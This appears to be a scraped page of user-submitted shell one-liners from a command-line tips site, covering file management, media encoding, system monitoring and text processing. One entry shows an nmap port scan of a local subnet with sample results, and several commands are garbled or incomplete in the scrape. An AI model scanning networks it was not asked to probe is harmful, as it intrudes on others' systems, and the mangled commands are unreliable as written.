move all files older than 60 days to a folder anagram(){ s(){ sed 's/./\n\0/g'<<<$1|sort;};cmp -s <(s $1) <(s $2)||echo -n "not ";echo anagram; }; anagram foobar farboo; $ anagram night thing anagram $ anagram swamp thing not anagram Functions: cmp echo sed This is just a slight alternative that wraps all of #7917 in a function that can be executed ‹ First < 182 183 184 185 186 > Last › alias cd1='cd $( ls -lt | grep ^d | head -1 | cut -b 51- )' Functions: alias cut grep head ls cd into the latest directory date -j -v +1000000000S -f %m%d%Y mmddyyyy Mo 25 M?r 2013 23:24:41 CET Find out when your billion-second anniversary is (was). (on OS X) This is the same command as this one, but for OS X. http://www.commandlinefu.com/commands/view/3053/find-out-when-your-billion-second-anniversary-is-was. x=IO::Interface::Simple; perl -e 'use '$x';' &>/dev/null || cpan -i "$x"; perl -e 'use '$x'; my $ip='$x'->new($ARGV[0]); print $ip->address,$/;' Thanks to comment if that works or not... If you have already typed that snippet or you know you already have IO::Interface::Simple perl module, you can type only the last command : perl -e 'use IO::Interface::Simple; my $ip=IO::Interface::Simple->new($ARGV[0]); print $ip->address,$/;' ( The first perl command will install the module if it's not there already... ) sockstat -4l USER COMMAND PID FD PROTO LOCAL ADDRESS FOREIGN ADDRESS See what's listening on your IPv4 ports on FreeBSD. while sleep 1; do acpi -t | osd_cat -p bottom; done & No need for a colon, and one less semicolon too. Also untested. cat subtitles.txt | perl -pe 's/} /}/g; s/{(\d+)}/=1=/; $f1=(24/25*$1); s/{(\d+)}/=2=/; $f2=(24/25*$1); $f1=~s/\..*//; $f2=~s/\..*//; s/=1=/{$f1}/; s/=2=/{$f2}/; ' > subtitles_newfps.txt change microdvd subtitles framerate this command example converts to 25 fps subtitles that were originally created for 24 fps movie date -j -v +1000000000S -f %m%d%Y mmddYYYY echo -n a | od -d | sed -n "s/^.* //gp" Get decimal ascii code from character the shortest command for character 'a' i know lsmod | sed -e '1d' -e 's/\(\([^ ]*\) \)\{1\}.*/\2/' | xargs modinfo | sed -e '/^dep/s/$/\n/g' -e '/^file/b' -e '/^desc/b' -e '/^dep/b' -e d $ lsmod | sed -e '1d' -e 's/\(\([^ ]*\) \)\{1\}.*/\2/' | xargs modinfo | sed -e '/^dep/s/$/\n/g' -e '/^file/b' -e '/^desc/b' -e '/^dep/b' -e d filename: /lib/modules/2.6.32-generic/kernel/drivers/net/mii.ko description: MII hardware support library depends: Functions: lsmod modinfo sed xargs Liked command 4077 so I improved it, by doing all text manipulation with sed. "Run this as root, it will be helpful to quickly get information about the loaded kernel modules." THX mohan43u utime(){ date -d "1970-01-01 GMT $1 seconds"; } ls -S|head -1find find the biggest file in current folder lsb_release -ri mplayer $(ls -t /tmp/Flash*|head -1) Watch YouTube and other Flash videos via mplayer (or whatever) Many sites with Flash video players will download video files to /tmp on Linux, with temporary filenames like "FlashbGTHm4". These will often play in mplayer, totem, or other movie playing software. You must first navigate to a video page, let it start loading, and then pause playback. recode ..HTML < file.txt > file.html txt2html Convert Text to HTML function fcd () { [ -f $1 ] && { cd $(dirname $1); } || { cd $1 ; } pwd } # assume EVN is setup - adding for context. cd postmaster=${HOME}/Mail/2009/Aug/System/postmaster mkdir -p $(dirname $postmaster) ; touch $postmaster ## fcd $postmaster /home/smith/Mail/2009/Aug/System Functions: cd dirname pwd bash/ksh function: given a file, cd to the directory it lives fcd : file change directory A bash function that takes a fully qualified file path and cd's into the directory where it lives. Useful on the commadline when you have a file name in a variable and you'd like to cd to the directory to RCS check it in or look at other files associated with it. Will run on any ksh, bash, likely sh, maybe zsh. find . -type f -exec grep -i \; shorter typing with no need to use xargs. wmctrl -o 1280,0 rotate the compiz cube via command line 0-1279 = desktop 1 region = face 1 for a 1280 monitor resolution math: argument of wmctrl -o = ( DesiredFace * HorizontalResolution - 1) google docs list |awk 'BEGIN { FS = "," }; {print "\""$1"\""}'|sed s/^/google\ docs\ get\ /|awk ' {print $0,"."}' google docs get "Document_one.pdf" . google docs get "Document_two.doc" . google docs get "Document_three.xls" . Create commands to download all of your Google docs Create commands to download all of your Google docs to the current directory. xset fp+ /Applications/Mathematica.app/SystemFiles/Fonts/Type1/ Set OS X X11 to use installed Mathematica fonts nice -n -20 ssh SOURCE_SERVER "tail -f /var/log/httpd/access.log " | awk '{print $7}' | grep jsp | parallel 'curl TARGET_SERVER{} 2>&1 /dev/null' Functions: awk grep nice ssh Real time duplication of Apache app traffic to a second server This takes the stream created by apache requests containing jsp and funnels them to another server. I'm using this for simulating real time traffic. The nice command gives ssh maximum CPU cycles, awk & grep strip out everything served by apache. Putting parallel on curl is important because curl is synchronous and waits for the response. Yes, I thought about using wget but it didn't seem any easier. Also, if you figure out how to run this in the background let me know. Every time I background it it stops. If you have multiple front end servers just run multiple instances of this. convert -background none -pointsize 55 label:"`whoami`" me.png Text to image with transparent background Create transparent image to use as icon, watermark for other images, etc. sudo ipfw pipe 1 config bw 50KByte/s;sudo ipfw add 1 pipe 1 src-port 80 Throttling Bandwidth On A Mac sudo ipfw pipe 1 config bw 50KByte/s Set the bandwidth (bw) limit to any number you want. For example you could have a 15kb pipe for X application and then a 100kb pipe for another application and attach things to those pipes. If a port isn’t attached to a pipe, it runs at full speed. Change the number (in this case 1) to a different number for a different pipe. The next step is to attach your port. sudo ipfw add 1 pipe 1 src-port 80 In this case anything on port 80 (http) will be set to a limit of 50Kbyte/s. If you want to attach a second port to this pipe, repeat the command but change the port number at the end. src : http://www.mactricksandtips.com/2008/12/throttling-bandwidth-on-a-mac.html man 5 crontab CRONTAB(5) CRONTAB(5) DESCRIPTION Access to specific man page section You can view the man pages from section five by passing the section number as an argument to the man command ack ack seeks for , list all found files and display everything in nice colors. Look for it in http://betterthangrep.com/ time dd if=/dev/zero of=TEST bs=4k count=512000 Functions: dd time Testing hard disk writing speed ‹ First < 183 184 185 186 187 > Last › utime(){ python -c "import time; print(time.strftime('%a %b %d %H:%M:%S %Y', time.localtime($1)))"; } for _a in {A..Z} {a..z};do _z=\${!${_a}*};for _i in `eval echo "${_z}"`;do echo -e "$_i: ${!_i}";done;done|cat -Tsv BASH: /bin/bash BASH_ARGC: BASH_ARGV: BASH_COMMAND: echo -e "$_i: ${!_i}" BASH_LINENO: BASH_SOURCE: BASH_SUBSHELL: 1 BASH_VERSINFO: 3 BASH_VERSION: 3.2.25(1)-release COLUMNS: 239 COMP_WORDBREAKS: ^I"'@><=;|&(: LINENO: 4 LINES: 69 OPTERR: 1 OPTIND: 1 OSTYPE: linux-gnu PIPESTATUS: 0 PKG_CONFIG_PATH: /usr/lib/pkgconfig:/usr/local/lib/pkgconfig PPID: 22202 Print all environment variables, including hidden ones This uses some tricks I found while reading the bash man page to enumerate and display all the current environment variables, including those not listed by the 'env' command which according to the bash docs are more for internal use by BASH. The main trick is the way bash will list all environment variable names when performing expansion on ${!A*}. Then the eval builtin makes it work in a loop. I created a function for this and use it instead of env. (by aliasing env). This is the function that given any parameters lists the variables that start with it. So 'aae B' would list all env variables starting wit B. And 'aae {A..Z} {a..z}' would list all variables starting with any letter of the alphabet. And 'aae TERM' would list all variables starting with TERM. aae(){ local __a __i __z;for __a in "$@";do __z=\${!${__a}*};for __i in `eval echo "${__z}"`;do echo -e "$__i: ${!__i}";done;done; } And my printenv replacement is: alias env='aae {A..Z} {a..z} "_"|sort|cat -v 2>&1 | sed "s/\\^\\[/\\\\033/g"' From: http://www.askapache.com/linux-unix/bash_profile-functions-advanced-shell.html svn diff -r M:N file.php | patch -p0 M - current revision, N - older revision function rm { workingdir=$( pwdx $$ | awk '{print $2}' ) /usr/bin/rm $* echo "rm $* issued at $(date) by the user $(who am i| awk '{print $1} ') in the directory ${workingdir}" >> /tmp/rm.out } Functions: awk echo rm log rm commands Sometimes, it is annoying to find your files or directories missing. If you want to log all the rm commands you can put this in /etc/profile. wallpaperWarn() { BG="/desktop/gnome/background/picture_filename"; convert "`gconftool-2 -g $BG`" -pointsize 70 -draw "gravity center fill red text 0,-360 'Warn' fill white text 0,360 'Warn'" /tmp/w.jpg; gconftool-2 --set $BG -t string "/tmp/w.jpg"; } Text message on wallpaper grep -r * .[!.]* Searches all files,dirs (also hidden) recursively for code in {000..255}; do print -P -- "$code: %F{$code}Test%f"; done Show numerical values for each of the 256 colors in ZSH This will show a numerical value for each of the 256 colors in ZSH. Everything in the command is a ZSH builtin, so it should run on any platform where ZSH is installed. Prints one color per line. If someone is interested in formatting the output, paste the alternative. echo "text" | hd Ubuntu 10.10 \n \l Another way of do it in debian like distros, don't know if works for others killall5 Get rid from a blank display without reboot Killall5 will kill your session and redirect to login screen. -Very useful when suffering display problems. -Can use F1-F6 -Need to login in the particular console if not already $ python -m pygments -o source.html source.py Quick syntax highlighting with multiple output formats You can specify various output formats, theme styles, etc. python -m pygments -o source.png source.py python -m pygments -o source.rtf source.py Check available output formats, styles, etc.: python -m pygments -L Find pygments module here: http://pygments.org/ find . -path ./mnt -prune -o -path ./lost+found -prune -o -path ./sys -prune -o -path ./proc -prune -o -print | cpio -pumd /destination && mkdir /destination/mnt/ && mkdir /destination/proc && mkdir /destination/sys Functions: cpio find mkdir Clone / Clone linux installation. ( cd $DIR; command; ) [/space/braklet/] $ ( cd test; touch test.file ) [/space/braklet/] $ ls -R .: test ./test: test.file cd into another dir to run a one-liner, but implicitly drop back to your $OLD_PWD after Obviously the example given is necessarily simple, but this command not only saves time on the command line (saves you using "cd -" or, worse, having to type a fully qualified path if your command cd's more than once), but is vital in scripts, where I've found the behaviour of "cd -" to be a little broken at times. growisofs -use-the-force-luke=dao -use-the-force-luke=break:1913760 -dvd-compat -speed=2 -Z /dev/cdrom=XBOX360GAMEHERE.iso burn backed up xbox 360 games burn all those sweet iso's from the command line. replace speed=2 with more if your media supports it and you're brave! find ~/.thumbnails/ -type f -atime +30 -print0 | xargs -0 rm By time thumbnail images in ~/thumbnails take up too much space, this command will help deleting old ones. Find options explained: -type f : find files only, not directories -atime +30 : last accessed more than 30 days ago function checkfor () { while :; do $*; sleep 5; done; } # waiting for a DNS change to showup checkfor dig sun.com | egrep -A1 ';; ANSWER' # OR # Waiting for a results file checkfor ls -la file_i_am_waiting_for ls: file_i_am_waiting_for: No such file or directory -rw-r--r-- 1 smith software 0 Sep 3 12:18 file_i_am_waiting_for checkfor ls -la file_i_am_waiting_for 2> /dev/null # if you don't want errors -rw-r--r-- 1 smith software 0 Sep 3 12:33 /tmp/file_i_am_waiting_for bash function to check for something every 5 seconds checkfor: have the shell check anything you're waiting for. 'while : ; do' is an infinite loop '$*' executes the command passed in 'sleep 5' - change for your tastes, sleep for 5 seconds bash, ksh, likely sh, maybe zsh Ctrl-c to break the loop find . -type f -name '*.mp3' -execdir mp3gain -a '{}' + Normalize volume in your mp3 library This normalizes volume in your mp3 library, but uses mp3gain's "album" mode. This applies a gain change to all files from each directory (which are presumed to be from the same album) - so their volume relative to one another is changed, while the average album volume is normalized. This is done because if one track from an album is quieter or louder than the others, it was probably meant to be that way. watch 'ls -tough --full-time *.vmdk' watch snapshots commit in VMware ESX To monitor .vmdk files during snapshot deletion (commit) on ESX only (ESXi doesn't have the watch command): 1. Navigate to the VM directory containing .vmdk files. # watch "ls -tough --full-time *.vmdk" where: -t sorts by modification time -o do not list group information (to narrow the output) -u sorts by access time -g only here for the purpose to easily remember the created mnemonic word 'tough' -h prints sizes in human readable format (e.g., 1K 234M 2G) --full-time sets the time style to full-iso and does not list user information (to narrow the output) optionally useful parameters to the watch command: -d highlight changes between updates -n seconds to wait between updates (default is 2) -t turn off printing the header while true; do xset dpms force off; sleep 0.3; xset dpms force on; xset s reset; sleep 0.3; done Emergency Alien Invasion Warning When aliens invade Earth, be first to warn your neighbours by placing your computer screen at a window and executing this potentially Earth-saving command. Ctrl C when aliens are defeated. (cd /orignl/path tar -cf - . ) | (cd /dst/dir;tar -xvf -) tar pipe to copy files, alternate to cp -Ra uses tar to dump files from /orignl/path to /dst/dir. i find tar's out more readable than cp, and it doesn't mess with modified dates. kill -9 `ps xawo state=,pid=|sed -n 's/Z //p'` Functions: kill sed just a leaner, smaller version. Love the original idea! diff <(md5sum render_pack.zip| cut -d " " -f 1) <(md5sum /media/green/render_pack.zip| cut -d " " -f 1);echo $? 0 #well done! 1 #so much trouble... Functions: cut diff echo md5sum I had the problem that the Md5 Sum of a file changed after copying it to my external disk. This unhandy command helped me to fix the problem. echo '123/7' |bc -l |xargs printf "%.3f\n" Functions: bc echo printf xargs vim -c new myfile Open Vim with two windows : new command allow to split a Vim screen in two separate windows. Each window can handle its own buffer. Passing the -c new options when Vim start cause to split screen automatically. find . -type f -print0 | xargs -0 perl -pi.save -e 'tr/A-Z/a-z/' recursive transform all contents of files to lowercase In this way it doesn't have problems with filenames with spaces. ‹ First < 184 185 186 187 188 > Last › perl -e 'printf join(".", ("%d")x4 ), map {rand 256} 1..4;' 155.83.194.215 Random IPv4 address pdbedit -w -L | awk -F":" '{print $1}' List all Samba user name touch -t 201001010000 begin; touch -t 201012312359.59 end; find . -newer begin -a ! -newer end Example above will recursively find files in current directory created/modified in 2010. last -n 20 reboot system boot 2.4.27-3-386 Tue May 26 20:56 (01:06) reboot system boot 2.4.27-3-386 Thu May 21 07:32 (5+13:23) Show the last 20 sessions logged on the machine change 20 by the number of sessions you want to know (20 it's fair enough) watch 'cat /proc/loadavg' Watching Command If you need to keep an eye on a command whose output is changing, use the watch command. For example, to keep an eye on your load average tload -s 10 Functions: tload monitor system load Also look at xload xmms2 list | sed -n -e '1i\0' -e 's/^.*(\([0-9]*\):\([0-9]*\))$/\1 60*\2++/gp' -e '$a\60op' | dc | sed -e 's/^ *//' -e 's/ /:/g' svn st | awk '{if ($1 ~ "?") print $2}' | xargs svn add No need for grep, let awk do the match. This will not behave properly if the filenames contains whitespace, which is awk's default field separator. find . -xdev -path ./junk_dir -prune -o -type d -name "dir_name" -a -print find file/dir by excluding some unwanted dirs and filesystems Consider using this cmd when: 1. You are planning to traverse a big directory. 2. There is a subdir you don't want find to decend to. (entirely ignore) 3. You don't want find to decend to any mounted filesystems under this dir. * The -xdev flag tells find do not go to other filesystems. * -path ./junk_dir -prune is the pattern to ignore ./junk_dir entirely. * The rest is the typical search and print. To ignore multiple subdirs, you can just iterate the pattern, e.g. find . -path ./junk1 -prune -o -path ./junk2 -prune ... If you do want to include other filesystems, then remove -xdev flag. If you want to search files, then change -type d to -type f. var=host ;while ! nc -zw 1 $var 22;do sleep 1; done ; ssh user@$var Automatically connect to a host with ssh once it is online mount -o -t ntfs-3g /dev/sda1 /mnt/windows/c force Mount a windows partition in a dual boot linux installation with write permission...[Read and Write] If you have the library installed ntfs-3g, you will be able to mount the windows partition and write on it.... awk < file.name '{ system("resolveip -s " $1) }' 75.10.158.189 75.10.246.46 75.10.206.45 75.10.237.138 Resolve a list of domain names to IP addresses Given a file of FQDN, this simple command resolves the IP addresses of those Useful for log files or anything else that outputs domain names. echo start > battery.txt; watch -n 60 'date >> battery.txt ; acpi -b >> battery.txt' # contents of battery.txt . I removed the AC plug and started the script start Seg Out 19 00:00:22 BRST 2009 Seg Out 19 00:01:22 BRST 2009 Seg Out 19 00:02:22 BRST 2009 Seg Out 19 00:03:22 BRST 2009 Seg Out 19 00:04:22 BRST 2009 Seg Out 19 00:05:22 BRST 2009 Seg Out 19 00:06:22 BRST 2009 Seg Out 19 00:07:22 BRST 2009 Seg Out 19 00:08:22 BRST 2009 Seg Out 19 00:09:22 BRST 2009 Seg Out 19 00:10:22 BRST 2009 Seg Out 19 00:11:22 BRST 2009 Seg Out 19 00:12:22 BRST 2009 Seg Out 19 00:13:22 BRST 2009 Seg Out 19 00:14:22 BRST 2009 Seg Out 19 00:15:22 BRST 2009 Seg Out 19 00:16:22 BRST 2009 Seg Out 19 00:17:22 BRST 2009 Seg Out 19 00:18:22 BRST 2009 Seg Out 19 00:19:22 BRST 2009 Seg Out 19 00:20:22 BRST 2009 Seg Out 19 00:21:22 BRST 2009 Seg Out 19 00:22:22 BRST 2009 Seg Out 19 00:23:22 BRST 2009 Seg Out 19 00:24:22 BRST 2009 Seg Out 19 00:25:23 BRST 2009 Seg Out 19 00:26:23 BRST 2009 Seg Out 19 00:27:23 BRST 2009 Seg Out 19 00:28:23 BRST 2009 Seg Out 19 00:29:23 BRST 2009 Seg Out 19 00:30:23 BRST 2009 Seg Out 19 00:31:23 BRST 2009 Seg Out 19 00:32:23 BRST 2009 Seg Out 19 00:33:23 BRST 2009 Seg Out 19 00:34:23 BRST 2009 Seg Out 19 00:35:23 BRST 2009 Seg Out 19 00:36:23 BRST 2009 Seg Out 19 00:37:23 BRST 2009 Seg Out 19 00:38:23 BRST 2009 Seg Out 19 00:39:23 BRST 2009 Seg Out 19 00:40:23 BRST 2009 Seg Out 19 00:41:23 BRST 2009 Seg Out 19 00:42:23 BRST 2009 Seg Out 19 00:43:23 BRST 2009 Seg Out 19 00:44:23 BRST 2009 Seg Out 19 00:45:23 BRST 2009 Seg Out 19 00:46:23 BRST 2009 Seg Out 19 00:47:23 BRST 2009 Seg Out 19 00:48:23 BRST 2009 Seg Out 19 00:49:23 BRST 2009 Seg Out 19 00:50:23 BRST 2009 Seg Out 19 00:51:23 BRST 2009 Seg Out 19 00:52:23 BRST 2009 Seg Out 19 00:53:23 BRST 2009 Seg Out 19 00:54:23 BRST 2009 Seg Out 19 00:55:23 BRST 2009 Seg Out 19 00:56:23 BRST 2009 Seg Out 19 00:57:23 BRST 2009 Seg Out 19 00:58:23 BRST 2009 Seg Out 19 00:59:23 BRST 2009 Seg Out 19 01:00:23 BRST 2009 Seg Out 19 01:01:23 BRST 2009 Seg Out 19 01:02:23 BRST 2009 Seg Out 19 01:03:24 BRST 2009 Seg Out 19 01:04:24 BRST 2009 Seg Out 19 01:05:24 BRST 2009 Seg Out 19 01:06:24 BRST 2009 Seg Out 19 01:07:24 BRST 2009 Seg Out 19 01:08:24 BRST 2009 Seg Out 19 01:09:24 BRST 2009 Seg Out 19 01:10:24 BRST 2009 Seg Out 19 01:11:24 BRST 2009 Seg Out 19 01:12:24 BRST 2009 Seg Out 19 01:13:24 BRST 2009 Seg Out 19 01:14:24 BRST 2009 Seg Out 19 01:15:24 BRST 2009 Seg Out 19 01:16:24 BRST 2009 Seg Out 19 01:17:24 BRST 2009 Seg Out 19 01:18:24 BRST 2009 Seg Out 19 01:19:24 BRST 2009 Seg Out 19 01:20:24 BRST 2009 Seg Out 19 01:21:24 BRST 2009 Seg Out 19 01:22:24 BRST 2009 Seg Out 19 01:23:24 BRST 2009 Seg Out 19 01:24:24 BRST 2009 Seg Out 19 01:25:24 BRST 2009 Seg Out 19 01:26:24 BRST 2009 Seg Out 19 01:27:24 BRST 2009 Seg Out 19 01:28:24 BRST 2009 Seg Out 19 01:29:24 BRST 2009 Seg Out 19 01:30:24 BRST 2009 Seg Out 19 01:31:24 BRST 2009 Seg Out 19 01:32:24 BRST 2009 Seg Out 19 01:33:24 BRST 2009 Seg Out 19 01:34:24 BRST 2009 Seg Out 19 01:35:24 BRST 2009 Seg Out 19 01:36:24 BRST 2009 Seg Out 19 01:37:24 BRST 2009 Seg Out 19 01:38:24 BRST 2009 Seg Out 19 01:39:24 BRST 2009 Seg Out 19 01:40:25 BRST 2009 Seg Out 19 01:41:25 BRST 2009 Seg Out 19 01:42:25 BRST 2009 Seg Out 19 01:43:25 BRST 2009 Seg Out 19 01:44:25 BRST 2009 Seg Out 19 01:45:25 BRST 2009 Seg Out 19 01:46:25 BRST 2009 Seg Out 19 01:47:25 BRST 2009 Seg Out 19 01:48:25 BRST 2009 Seg Out 19 01:49:25 BRST 2009 Seg Out 19 01:50:25 BRST 2009 Seg Out 19 01:51:25 BRST 2009 Seg Out 19 01:52:25 BRST 2009 Seg Out 19 01:53:25 BRST 2009 Seg Out 19 01:54:25 BRST 2009 Seg Out 19 01:55:25 BRST 2009 Seg Out 19 01:56:25 BRST 2009 Seg Out 19 01:57:25 BRST 2009 Seg Out 19 01:58:25 BRST 2009 Seg Out 19 01:59:25 BRST 2009 Seg Out 19 02:00:25 BRST 2009 Seg Out 19 02:01:25 BRST 2009 Seg Out 19 02:02:25 BRST 2009 Seg Out 19 02:03:25 BRST 2009 Seg Out 19 02:04:25 BRST 2009 Seg Out 19 02:05:25 BRST 2009 Seg Out 19 02:06:25 BRST 2009 Seg Out 19 02:07:25 BRST 2009 Seg Out 19 02:08:25 BRST 2009 Seg Out 19 02:09:25 BRST 2009 Seg Out 19 02:10:25 BRST 2009 Seg Out 19 02:11:25 BRST 2009 Seg Out 19 02:12:25 BRST 2009 Seg Out 19 02:13:25 BRST 2009 Seg Out 19 02:14:25 BRST 2009 Seg Out 19 02:15:25 BRST 2009 Seg Out 19 02:16:25 BRST 2009 Seg Out 19 02:17:25 BRST 2009 Seg Out 19 02:18:26 BRST 2009 Seg Out 19 02:19:26 BRST 2009 Seg Out 19 02:20:26 BRST 2009 Seg Out 19 02:21:26 BRST 2009 Seg Out 19 02:22:26 BRST 2009 Seg Out 19 02:23:26 BRST 2009 Seg Out 19 02:24:26 BRST 2009 Seg Out 19 02:25:26 BRST 2009 # time of death shows 02:25, wich means 26 min more than initially predicted... Now I know my battery lasts 2 hours and 25 minutes... Functions: acpi echo watch Battery real life energy vs predicted remaining plotted This time I added a print to reemaining energy, every minute, time stamped. The example shown here is complete and point to large discrepancies as time passes, converging to accuracy near the end. mencoder input.avi -of mpeg -ovc lavc -lavcopts vcodec=mpeg1video \ -oac copy other_options -o output.mpg Encoding from AVI to MPEG format http://www.mplayerhq.hu/DOCS/HTML/en/menc-feat-mpeg.html MEncoder can create MPEG (MPEG-PS) format output files. Usually, when you are using MPEG-1 or MPEG-2 video, it is because you are encoding for a constrained format such as SVCD, VCD, or DVD. To change MEncoder's output file format, use the -of mpeg option. Creating an MPEG-1 file suitable to be played on systems with minimal multimedia support, such as default Windows installs: mencoder input.avi -of mpeg -mpegopts format=mpeg1:tsaf:muxrate=2000 \ -o output.mpg -oac lavc -lavcopts acodec=mp2:abitrate=224 -ovc lavc \ -lavcopts vcodec=mpeg1video:vbitrate=1152:keyint=15:mbd=2:aspect=4/3 dcfldd if=/dev/zero of=/dev/null dcfldd is a forensic version of dd that shows a process indicator by default. php --ini nmap -v -sT 192.168.0.0/24 Scanning 192.168.1.55 [1000 ports] Discovered open port 22/tcp on 192.168.1.55 Discovered open port 80/tcp on 192.168.1.55 Discovered open port 21/tcp on 192.168.1.55 Completed Connect Scan at 12:35, 1.39s elapsed (1000 total ports) Nmap scan report for 192.168.1.55 Host is up (0.013s latency). Not shown: 997 closed ports 21/tcp open ftp 80/tcp open http MAC Address: 00:1B:2F:2C:53:F4 (Netgear) nmap port scanning TCP Connect scanning for localhost and network 192.168.0.0/24 /usr/proc/bin/pfiles $PID | egrep "sockname|port" Solaris - check ports/sockets which process has opened sync; time `dd if=/dev/cciss/c0d1p1 of=/dev/null bs=1M count=10240` Functions: sync time Testing reading speed with dd flac -ts *.flac Mostly silent FLAC checking (only errors are displayed) FLAC's built in integrity checks are far more useful then devising a scheme to use MD5 sum files. This will check all the FLAC in a directory and output only errors. Remove the "s" after the "t" and it will be somewhat verbose in the check. zgrep -h "" `ls -tr access.log*` Functions: zgrep I use zgrep because it also parses non gzip files. With ls -tr, we parse logs in time order. Greping the empty string just concatenates all logs, but you can also grep an IP, an URL... dpkg -l | grep ^rc | awk '{print $2}' | xargs dpkg -P perl -le '$,=".";print map int rand 256,1..4' touch pk.pem && chmod 600 pk.pem && openssl genrsa -out pk.pem 2048 && openssl req -new -batch -key pk.pem | openssl x509 -req -days 365 -signkey pk.pem -out cert.pem Functions: chmod touch Generate RSA private key and self-signed certificate This will create, in the current directory, a file called 'pk.pem' containing an unencrypted 2048-bit RSA private key and a file called 'cert.pem' containing a certificate signed by 'pk.pem'. The private key file will have mode 600. !!ATTENTION!! ==> this command will overwrite both files if present. for each in /usr/bin/*; do echo $each | sed 's/\/usr\/bin\///' | xargs touch; done Create a false directory structure for testing your commands This will make a false directory with the same file names as whatever directory you choose. This is wise to use when testing scripts that alter contents, filenames, or move files. I wrote this after an OOPS I made when renaming a directory of JPGs, PNGs, PSDs that were mixed. I recommend this as I lost over 2000 vacation pictures and some graphics I designed for software and web sites. :( NOTE: This only creates name copies, that data itself is not copied. ‹ First < 185 186 187 188 189 > Last › alias calc 'echo "scale=4;\!*"|bc -l'; alias xcalc 'echo "\!*"|bc -l' $ calc 5*8.43 42.15 $ set pi=`xcalc 4*a(1)` ; echo $pi 3.14159265358979323844 # note error in last digit - should be 6 according to # http://www.greatplay.net/uselessia/articles/pi2-100.html $ set h=20; set r=17.2 ; set v=`calc $pi*$h*$r^2`; echo $v 18588.17541276008863320179 $ calc 7.2*(18.2+3.98-2.04) 145.008 $ echo `calc 7/22` or `xcalc 7/22` .3181 or .3181818181 easy C shell math calculators allows simple C shell access to the power of bc - never could figure out how to do the same thing with Bash - that's why I use tcsh most of the time. find . -type f -name "*.c" -exec cat {} \; | wc -l 18186 or some number else Make a statistic about the lines of code use find to grep all .c files from the target directory, cat them into one stream, then piped to wc to count the lines SELECT relname, reltuples, pg_relation_size(relname) FROM pg_class r JOIN pg_namespace n ON (relnamespace = n.oid) WHERE relkind = 'r' AND n.nspname = 'public' ORDER BY relname; postgresql SQL to show count of ALL tables (relations) including relation-size Postgresql specific SQL - to show count of ALL tables including relation-size (pg_relation_size = used space on filesystem) - might need a VACUUM ANALYZE before showing all counts correctly ! http_proxy= wget Pass the proxy server address as a prefix to wget On a machine behind a firewall, it's possible to pass the proxy server address in as a prefix to wget to avoid having to set it as an environment variable first. say() { local IFS=+;mplayer "http://translate.google.com/translate_tts?q=$*"; } Usage: say hello world how are you today tar cfX - exclude_opt_weblogic . | ssh tmp-esxsb044 "cd /opt/weblogic ; tar xf -" tar via network find ./ -iname '*avi' -exec cp {} ./ \; Find and copy files from subdirectories to the current directory lsof | grep "/var/spool/mail/" Show a listing of open mailbox files (or whatever you want to modify it to show) FEATURES=keepwork emerge --resume Resume an emerge, and keep all object files that are already built For Gentoo: If you do not use this command, portage will fetch the source again, and rebuild the hole application from the top. This command make portage keep all files that ar allready built md5sum * | sed 's/^\(\w*\)\s*\(.*\)/\2 \1/' | while read LINE; do mv $LINE; done Functions: md5sum mv read sed rename a file to its md5sum rsync -rvtW --progress --include='*.wmv' --include='*.mpg' --exclude='*.*' Copy recursivelly files of specific filetypes Copying only wmv and mpg files recursively from to find . -type f -exec fgrep -l $'\r' "{}" \; Functions: fgrep find Looking for carriage returns would also identify files with legacy mac line endings. To fix both types: perl -i -pe 's/\r\n?/\n/g' $(find . -type f -exec fgrep -l $'\r' "{}" \;) for i in $(find . -type f -exec sha1 -r {} \+ |tee .hashes.tmp |awk '{print $1}' |sort |uniq -d); do grep $i .hashes.tmp; echo; done; 5db990867cf39a26d67afd07f41429535b4ca709 ./32102.txt 5db990867cf39a26d67afd07f41429535b4ca709 ./30434.txt 5db990867cf39a26d67afd07f41429535b4ca709 ./6374.txt 5db990867cf39a26d67afd07f41429535b4ca709 ./2907.txt d65bfef64a5fc9f7dbf9d35d80a2e1ed218c75d2 ./12414.txt d65bfef64a5fc9f7dbf9d35d80a2e1ed218c75d2 ./3153.txt d65bfef64a5fc9f7dbf9d35d80a2e1ed218c75d2 ./2012.txt f92c79d19d2b6d0a1b2fa4da7a7c99717b71803d ./4629.txt f92c79d19d2b6d0a1b2fa4da7a7c99717b71803d ./26186.txt f23d9b0da9c7294915df53ca77dcc2a62ae50e72 ./20194.txt f23d9b0da9c7294915df53ca77dcc2a62ae50e72 ./24440.txt d9bc21587f94d7a138bddf41cfa4e92a04cf9c54 ./36.txt d9bc21587f94d7a138bddf41cfa4e92a04cf9c54 ./83.txt Functions: awk find grep sort tee uniq Find duplicate files, using sha1 hash Tested under FreeBSD... echo -ne "\033]0;${USER}@${HOSTNAME}: ${PWD}\007" auto terminal title change above line in .bash_profile will give you window title in putty or terminal client when you login to your remote server wrestool -x --output . -t14 /path/to/your-file.exe alanceil@kvirasim:23:48:0:~/x> wrestool -x --output . -t14 /win/WINDOWS/system32/moricons.dll && ls -l total 528 -rw-r--r-- 1 alanceil users 1120 2009-02-28 23:48 moricons.dll_14_100.ico -rw-r--r-- 1 alanceil users 1120 2009-02-28 23:48 moricons.dll_14_101.ico -rw-r--r-- 1 alanceil users 1120 2009-02-28 23:48 moricons.dll_14_102.ico -rw-r--r-- 1 alanceil users 1120 2009-02-28 23:48 moricons.dll_14_103.ico -rw-r--r-- 1 alanceil users 1120 2009-02-28 23:48 moricons.dll_14_104.ico -rw-r--r-- 1 alanceil users 1120 2009-02-28 23:48 moricons.dll_14_105.ico -rw-r--r-- 1 alanceil users 1120 2009-02-28 23:48 moricons.dll_14_106.ico Extract icons from windows exe/dll wrestool can be found in icoutils (http://www.nongnu.org/icoutils) touch -amct [[CC]YY]MMDDhhmm[.ss] FILE Change timestamp on a file -a for access time, -m for modification time, -c do not create any files, -t timestamp perl -i~ -0777pe's/^/\!\#\/usr\/bin\/ksh\n/' testing $cat testing delete from account where accountkey = 11111 and expiretime < '20091101'; delete from account where accountkey = 33333 and expiretime < '20091101'; $perl -i~ -0777pe's/^/\!\#\/usr\/bin\/ksh\n/' testing #!/usr/bin/ksh perl insert character on the first line on your file sudo vconfig add eth0 [VID] Use tagged vlans Great for sysadmins! Don't forget to pass the vlan to your port in a manageable switch. After vconfig, you should use sudo ifconfig eth0.[VID] up Now the interface is up, you can use dhclient or ifconfig again to get an ip address. echo .DS_Store >> ~/.gitignore ignore .DS_Store forever in GIT With a couple of little commands, you?ll be able to ignore the .DS_Store files forever from your git repositories on mac! The following command will add the .gitignore file to the git configuration git config --global core.excludesfile ~/.gitignore then, the following, will add the .DS_Store to the list find . -type d|xargs tar rf ~/dirstructure.tar 